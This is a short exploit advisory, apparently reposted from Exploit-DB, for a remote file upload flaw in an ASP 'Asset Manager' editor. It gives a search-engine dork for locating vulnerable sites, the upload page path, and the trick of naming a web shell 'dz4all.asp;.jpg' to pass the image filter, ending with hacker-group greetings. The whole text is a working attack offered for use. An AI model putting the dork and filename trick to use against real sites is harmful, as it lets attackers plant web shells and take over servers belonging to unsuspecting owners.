Asset Manager – Arbitrary File Upload - 体验盒子

作者： Ra3cH

日期： 2010-05-22

类别：

webapps

平台：

asp

来源：https://www.exploit-db.com/exploits/12693/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

************************************************************

** Asset Manager Remote File upload Vulnerability

**

************************************************************

**Prodcut: Asset Manager

**Home : N/A

**Vunlerability : Remote File upload

**Risk: High

**Dork : inurl:Editor/assetmanager/assetmanager.asp

************************************************************

** Discovred by: Ra3cH

** From : Algeria

** Contact : e51@hotmail.fr

** *********************************************************

************************************************************

**Exploit:

**http://[PATH]/assetmanager/assetmanager.asp

**

**and upload your shell .... dz4all.asp;.jpg

**

************************************************************

**

** Greetz to : ALLAH

** All Members ofhttp://www.DZ4All.cOm/Cc

**And My BrOther AnGeL25dZ & yasMouh & ProToCoL & Mr.Benladen & T O X ! N £ & n2n &

***********************************************************